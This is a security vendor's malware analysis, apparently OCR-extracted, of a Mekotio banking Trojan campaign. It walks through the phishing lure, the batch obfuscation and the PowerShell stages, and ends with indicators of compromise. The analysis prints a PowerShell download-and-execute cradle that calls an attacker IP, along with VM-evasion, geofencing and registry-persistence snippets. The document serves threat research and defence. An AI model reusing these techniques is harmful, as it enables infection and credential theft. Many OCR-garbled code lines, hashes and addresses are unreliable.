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e A banking Trojan called “Mekotio” that targeted Latin America countries in the past,
now making a comeback with a change in its infection flow.

e Check Point Research (CPR) detected over 100 attacks in recent weeks using the
Trojan’s new technique

e The infection starts out and distributed with a phishing email containing a link to a zip
archive or a zip file as an attachment.

» One of the main characteristics of those bankers, such as Mekotio, is the modular
attack which gives the attackers the ability to change only a small part of the whole in
order to avoid detection.

Introduction

Mekotio, a modular banking Trojan that targeted Latin American countries, recently made a
comeback with a new infection flow. The new campaign started right after the Spanish Civil
Guard announced the arrest of 16 people involved with Mekotio distribution in July 2021. It
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appears that the gang behind the malware were able to narrow the gap quickly and change
tactics to avoid detection.

We assume that the main cybercrime groups are operating from Brazil and they collaborated
with Spanish gangs to distribute malwares. The arrest stopped the activity of the Spanish
gangs but not the main cybercrime groups.

Mekotio’s new infection vector contains these unprecedented elements:

» A stealthier batch file with at least two layers of obfuscation.
* New fileless PowerShell script that runs directly in memory.
e Use of Themida v3 for packing the final DLL payload.

In the last 3 months, we saw approximately 100 attacks use new, simple obfuscation
techniques, with the help of a substitution cipher, to hide the first module of the attack. This
simple obfuscation technique allows it to go undetected by most of the AntiVirus products.

Detections Size First seen
C4BB744C2676CTET88953FC2D52A1E73CD131802BABE64E8R42BACEIC49A3803
s Contactorwkuhex0_1RW_Er1vlnpxi_600y_(78280296Contacto. bat 1/50 4.86 KB 2020727
Contact uhex0_1RW_Er1vinpxi_600y_(7 Z96Lontacto.bat % 23:19:42
direct-cpu-clock-access
6DE4B8098CF 788 7B TE2897508A069050BBDBEB0TE5FESTAZF 36550B34555B4C0F
5 o . 2021-08-06
@ @ -o1$.bat 2157 4.95 KB
19:40:44
direct-cpu-clock-access
BEYBE64ASBEBFB1E2BDIF 1881 38CF5E6D4A32BF 230ACFBTEZ31852FR4BBE36TD
i1 e 5 2021-08-10
ContactozyztcilkADSW_alPO%_E@4wf (7764957Contacto.bat 2 /58 5.20 KB
18:07:14
direct-cpu-clock-access  long-sleeps  detect-debug-environment
B9771898E96DADBCS5A6B2D303F4BABI5AT1EBDATF6396898F5F8B2EF 1A994E3B
. - - g e 2021-07-20
X Contactobedqubzuvk_h_Pm__d%0_m_Z_C(1144263Contacto.bat 3/55 5.31KB
19:48:46

direct-cpu-clock-access cve-2019-12259 cve-2019-122656  exploit

Figure 1 — Low detection rate of Mekotio batch file on VirusTotal

During July and August, Check Point Threat Prevention Engine detected and blocked a wave
of malicious batch files with unique obfuscation patterns. When we looked into it, we saw the
following attack flow:

Attack flow
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Figure 2 — Mekotio new attack flow

1. The infection starts with a phishing email containing a link to a zip archive or a zip file
as an attachment. The message lures the victim to download and extract the zip
content.

2. When the user clicks on the zip content, the batch script is executed.

3. The batch script runs a “PowerShell Download Cradles” which downloads and runs a
PowerShell script on the memory.

4. The PowerShell script:

Checks if the target is located in Latin America.

Makes sure it is not running in a virtual machine.

Sets up persistence in the victim’s operating system.

Downloads a secondary zip archive.

5. The secondary zip archive contains three files:

[¢]

o

[¢]

[¢]

1. AutoHotkey (AHK) interpreter (AutoHotkey is a free, open-source scripting
language for Windows that allows users to easily create small to complex scripts
for all kinds of tasks).

2. Mekotio DLL usually packed with Themida v3.

3. AutoHotkey script.

6. Those 3 files are extracted and saved in a new directory on the infected system.

7. The PowerShell script calls the AutoHotkey interpreter to run the AHK script.
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8. The AutoHotkey script runs the DLL payload.

9. The DLL contains the main Mekotio banker functionality for actions such as stealing
access credentials for electronic banking portals and a password stealer.

10. The stolen data is sent to the C&C server.
Let’s now take a closer look at the malware components.
Phishing email

The phishing email, which is written in Spanish, claims that there is a digital tax receipt
pending submission. When the victims click the link in the email, a malicious zip archive is
downloaded from a malicious website.

Pendiente financiera

Administracion Tributaria 739408 <contacto73914@fontesed.borrascasliberias.eu>

7/23/2021 10:00 AM

Ta |85

PDF

$

Descargar todo como.zip archivoes adjuntos ( 128 kb)

se anexa el seguiente comprobante fiscal digital
Remitente: Servicio de Administracii’n Tributaria,
Hemos identificado que tienes pendiente de presentar, al 23 de julio de 2021, lo sigoiente:
A quien commesponda

correo electronico ]
SERIE Y FOLIO: 398062

FECHA DE EMISION: 231072021
MONTO TOTAL: 6298.20

BuzA®n Tributario,
v 52 55 627 22 728 Capitales y Aireas metropolitanas

Figure 3 — Phishing email
Batch file

The batch file extracted from the first zip archive has two layers of obfuscation and often
contains a file name which starts with “Contacto”.
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fecho off&(if defined @xuf gote ;)&setlocal disableDelayedExpansion&fer /f "delims=:. tokens=2" %%A in ('
chep') do set "@chcpl=chcp %%A>nul"&chcp 708>nulsset ~"fargs@=%+"
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(setlocal enableDelayedExpansion&for /1 %%N in (0 1 93) do set "!fbul:~%%N,1!=!@xud:~%%N,61!")&cmd /c ~""
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Figure 4 — Snippet of the obfuscated batch script

The first layer of the obfuscation is a simple substitution cipher. Substitution ciphers encrypt
plaintext by replacing each symbol in the plaintext with the corresponding symbol from the
lookup table. The source code of this obfuscation was probably taken from here.

Each batch file contains these two lines:

set "@xuf= !'#5&' () *+,-./0123456789: ; <=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ [\]1~_"abcdefghijklmnopgrstuvwxyz{|}~""
set "@bul={cH¥S @ «q—@ “+7° nd -, Oniasy AAARAARCEEEF T 1T TONGOA00«aUITTITERAAS88ac SRR 111 ARAASESERAREYDTE"

Figure 5 — Substitution arrays

These lines define the substitution and we can use them to deobfuscate the first layer.
After deobfuscating the first layer, we get another layer of obfuscation:

facho off

cls

aet?H5!=quL'.fBgD2Q3KaF] bS5T-esjtoz+pBWCUZAN. cx™ 1 }A0) 6U(hTVRE [k/10DMRvJ"G; XnyrSIl|
set kbolvradMzdgdx2 jRYNgjFwt8cCo=po

set CMhDpMZfMkco]2GBmabYTE74C5="wsa

set NUt8LjSVZ51DFs6T1l-"r"sh

sat gUgEeOoykfQ0InVIWatFoSaeBmhi8CLa="al"1l

set 17T4zACEBRGLAZEZD2ZCECESDBm=.ex

set YCSmyNEEEDVjeyPBiakk="e —-ep by"pa

set mllokX4VxiauSspzgéLvV="ss -"*n

sat YINHOVFeaVwM2BSEIABTERCEO=0op"

set afdO0IWybgGyRRWEIVWI="-w

set VmEHvOZ0AILrpzNa%4GvtCB=in* “~1 *~-

set XDD4SFBvDUaP4CHWERG=FEV13FvArrFI ‘iilnggtD" 1

set XoMOmmj3Tnaj3FHI3D1ZiR=BAdLligREBLMGx]lgSmOWOfeHTpO
set wtcFwmIiRetTh4Jaz035nmUBsE3y]l=qT]1lmV4WgiShiscXyd?

set FuSMBIghQggiNcpPteldPNwEH=GaMY0ZudyIngwvngEfvLd4S
set Tero6vi: ~45, 14%oTarobvi: ~25, 13 koTerofvil: ~42 , 1¥%o0Terobyvi: ~52, 1%k Tarobvi: ~43, 13%cTorobyvi: ~75, 14

set zMGmATnp]ymS0Igmw=80eAdlQ4UvifYwBIuygY JRkEv2
set kxHBAITOxFXx19p6PWIUChdkwxTh=rxLIvyRlEFSFLYGVNwesv1Olo
set WilgideVIQ1ladlly4GXVERei~tRRmkG2ckbMomhBegl vICul2yxip

ache imEaWtg9Pxmy | YkDoNvPasSMzdgdx2 {KYNg)FPwtBeCokiCMhDpMEfMkoo ) 2G8mg6Y TETACSRANULALSVESIDF e 6T1 ¥ % gDg 60ykiQlInv
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Figure 6 — Layer 2 of obfuscation
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In this layer, slices of the command are saved in different environment variables. The values
in lines 4-13 are concatenated, resulting the following command:

powershell.exe -ep bypass -nop -win 1

There is also a PowerShell command saved in the environment variable in the example
called “mEeWtg9Pxm” (line 18), which is produced as a result of concatenating letters from
the environment variable in the example called “o7cro6vX” (line 3).

The output of executing the lines 3 and 18 is the following PowerShell command:

iex("IEX(New-Object Net.WebClient).DownloadString( 'http://13.66.15.167/m/?a=Z8DEXUBSWD7FE45T3JHEMMIXCW3DONS8POLY3SRT )"™);

Putting everything together, the batch file executes the following command:

echo iex(“IEX(New-Object Net.WebClient).DownloadString(‘https://13[.]166.15.167/m/?
a=Z0DEXUBSWD7FE45T3JHBMMJXCW3DON98PILY3SRT’)"); | powershell.exe -ep
bypass -nop -win 1

After executing the command, a PowerShell script is downloaded to the memory and is
executed.

PowerShell script

The first thing the script does is check the location of the infected system using the ipinfo.io
service. If the system is not in one of these countries, (Brazil, Chile, Mexico, Spain and
Peru), then the attack is terminated.

$Data = Invoke—RestMethod http://ipinfo.iofjson | Select —-exp country

If (SData -=g 'ER") {

ju]

} ElseIf ($Data -=gq 'CL") {

} ElseIf (SData -=g "MX') {

} ElseIf (§Data -e=g 'E3') {
} ElseIf ($Data -eq 'PE') {
} Else {

exit

}

Figure 7 — Checking the location of the infected system
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Next, the script checks if it is running in a virtual machine: it compares the computer model to
the strings ‘VMware Virtual Platform’ and ‘Virtual Machine’, and exits if the computer model is
one of the above.

$IsV1rtual—((feu -WmiObject win32 computersystem) .model -eq ' Y
“orm' =or ((Get-WmiObject win32 computersystem) .model =-eq 'Virtual Machine'))

if ($IsVirtual) {
# Write-Host -ForegroundColor GREEN <TRUE=
#& vm
exit
} else {
# Write-Host -ForegroundColor RED <FALSE=
#nao & wvm

}

Figure 8 — Checking if the computer is a virtual machine

The next thing the script does is to create an empty file, used as a footprint, whose name is
the current date. This lets it know if it already ran in the system. If the file already exists, the
script stops the execution.

4sentopeia = "Senv:ProgramData\$([System.DateTime] : :Now.ToString ('ddMMyyyy') )"
S$xuxura = [System.I0.File]::Exists($sentopeia)

if (-Not $xuxura)

{
"' | Set-Content $sentopeia

Figure 9 — Footprint file creation

After checking the footprint file, a directory with a random name whose length is 8 is usually
created in the ProgramData Directory.

i

Shucetao gerando & #generate random string of length 8
| [ I — LU |

S$bucetao = "Senv:ProgramData\Sbucetao

New-Item -ItemType directory -Path Sbucetao

Figure 10 — Creating a new directory

Next, a secondary zip file with a random file name is downloaded to the directory.
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$baitola = "http://13.66.15.167/F/beteyfu.zip"

(New-Object System.Net.WebClient) .DownloadFile (§baitola, $lagosta)

Figure 11 — Downloading the zip file

The downloaded zip archive contains three files: Mekotio payload DLL, AutoHotkey

interpreter and AutoHotkey script. After downloading the zip archive, the script extracts and

renames each file in the zip archive with a random name and saves it in the created
directory.

The script checks the size of the extracted files to distinguish between the type and the
purpose of the files. The script renames the files, adding the extension according to the
detected file type.

$trasurbao = gerando 4 #generate random string of length 4
$superman = $bucetao + §trasurbao + ".dll"

$picasso = gerando = #generate random string of length 3
$maioral = $bucetao + §picasso + "[.cxe"

$marginal = gerando 5 #generate random string of length 5
$loirao = $bucetac + Smarginal

foreach ($bizarra in $bieleta)

{
¢definicaotam = (Get-Item "SbucetaoSbizarra") .Length
if (S5definicaotam -1t ~000)
{
Rename-Item -Path "ShucetaoSbizarra"™ -NewName $loirao
}
elseif ($definicaotam -1t 1000000)
{
Rename-Item -Path "ShucetacoSbizarra™ -NewName $maioral
}
else
{
Rename-Item -Path "SbucetaoSbizarra" -NewName $superman
}
}

Figure 12 — Renaming files from the downloaded zip
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After renaming the extracted files, a shortcut to the AutoHotkey is created in the AppData
directory. The arguments to the shortcut are the AutoHotkey script and the Mekotio DLL.
An AutoHotkey process is started using the shortcut.

Ssharopac = New—Cbject —-ComObject "WScript.She1l"
Sshrcutinho = $sharopao.CreateShortcut ("5env:LZPFDATRAY" + Spicassoc + ".1lnk")
Sshrcutinho.TargetPath = Smaioral
Sshrcutinho.Description = §$loirac
S$shrcutinho.Arguments = """Sloirac"" ""Ssupsrman"""
Sshrocutinho.WorkingDirectory = Sbucetac
Sshroutinhe. Save ()
Start-Process ("5env:APPDATA\" + Spicassc + ".lnk")

Eemove—-Item Slagosta

Figure 13 — Creating the shortcut and starting AutoHotkey process

Finally, persistence is gained by adding a new value to the following registry key:
“‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run”
This runs the AutoHotkey with the AHK script and the Mekotio DLL as arguments.

Scocaina = "HECU:\Software\Microsoft\Windows\CurrentVersion\Run"

set-itemproperty Scocaina Strasurbaoc ("""Smaioral"™" ""Sloiraco"" ""Ssuperman""")

Figure 14 — Adding a new value to the registry

The AHK script uses DIICall to run the 4th exported DLL function. By executing the
AutoHotkey script, the DLL looks like part of the AutoHotkey execution. As final payloads, we
see the DLL which contains the well-known and well-covered Mekotio Banker.

Conclusion
Banking Trojans are a common malware used in attacks targeting countries in Latin America.

One of the characteristics of those bankers, such as Mekotio, is the modular attack which
gives the attackers the ability to change only a small part of the whole in order to avoid
detection.

CPR see a lot of old malicious code used for a long time, and yet the attacks manage to stay
under the radar of AVs and EDR solutions by changing packers or obfuscation techniques
such as a substitution cipher.

Our analysis of this campaign highlights the efforts that attackers make to conceal their
malicious intentions, bypass security filtering and trick users. To protect yourself against this
type of attack, be suspicious of any email or communication from a familiar brand or
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organization that asks you to click on a link or open an attached document.
Here are some practical tips to help keep your data safe:

1. Beware of lookalike domains, spelling errors in emails or websites, and unfamiliar email
senders.

2. Be cautious with files received via email from unknown senders, especially if they
prompt for a certain action you would not usually do.

3. Make sure you are ordering goods from an authentic source. One way to do this is to
NOT click on promotional links in emails, and instead, Google your desired retailer and
click the link from the Google results page.

4. Beware of “special” offers that don’t appear to be reliable or trustworthy purchase
opportunities.

5. Make sure you do not reuse passwords between different applications and accounts.

Organizations can prevent zero-day attacks with an end-to-end cyber architecture used to
block deceptive phishing sites and provide alerts on password reuse in real time. Check
Point Infinity is effective because it combines two key ingredients: full convergence across all
attack surfaces and all attack vectors, and advanced prevention that can tackle the most
sophisticated zero-day phishing and account takeover attacks.

Check Point Threat Emulation provides protection against this threat:

e Win.PSBypass.A
e Wins.obfusBat.A

Indicators of Compromise

Batch Sha1
09a536¢2260d01fe9de33b905cde75685360cd3d
106a719cecfo0db98fb3a79bf22435acafcf6edf
134b1b4e2726117b0bf5ac7670f37e10f40ccc31
24965ac9150a86085aa36b953ef3b181ef2007b5
40ce61f375fbebf809bf55f7dba93c890ac990ac
412c522f180d6d773b892e92e45c72780a9f491¢
4178e160fdff914718b55ded12808189939453bb
561bff9a2a9c807b937b460ef3d2cf0f710ff3eb5

5a9d4e41d677d0caadf232b7cdcfe51cde38ed77
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5bc7099f709e1ae1ac0354fa99a32703e6306a6d
87cbb5e4bae97f51€22668634ebc764e6a863a68
87d9f2c95835a1ad9¢c2397d0f776eb8f2e08125¢c
c3b93e8d68614447f462d001b7a44ccc7c3c9e52
c7b3f093a320ffd2b9667c79622a42d88e2b68ac
d1404272a3d23b143fc9fec377577cab715d9838
d884cd7ac1664d1227214fe21e6ef7f657fa69a5
dfde9908dc5395f9dfb4b9dae00f4a3fb555af5¢
fc24562b2efc77dc6174abf592fe68051751b678
Links to first zip

20.206.121[.]1/arquivo.php
40.90.192[.]58/factura000145000099.zip
lianzafacture[.]Jeu/75rg6ty7.php?e=desktop-pc
onflicitoesar[.]Jeu/75rg6ty7.php?e=desktop-pc
ontabilidadms].]eu/75rg6ty7.php?e=desktop-pc
c2-3-143-67-171.us-east-2.compute.amazonaws[.Jcom/arquivo.php
taingenieria[.]eu/75rg6ty7.php?e=desktop-pc
erdfacturaal.Jtop/arquivo.php
dfcompros[.Jcom/arquivo.php
emg-compl[.Jcom/75rg6ty7.php?e=desktop-pc

pyddteres|.]hopto.org/75rg6ty7.php?e=desktop-pc

ubbencion][.]Jaustraliaeast.cloudapp.azure[.Jcom/75rg6ty7.php?e=desktop-pc

ubbencion[.]Jeu/75rg6ty7.php?e=desktop-pc
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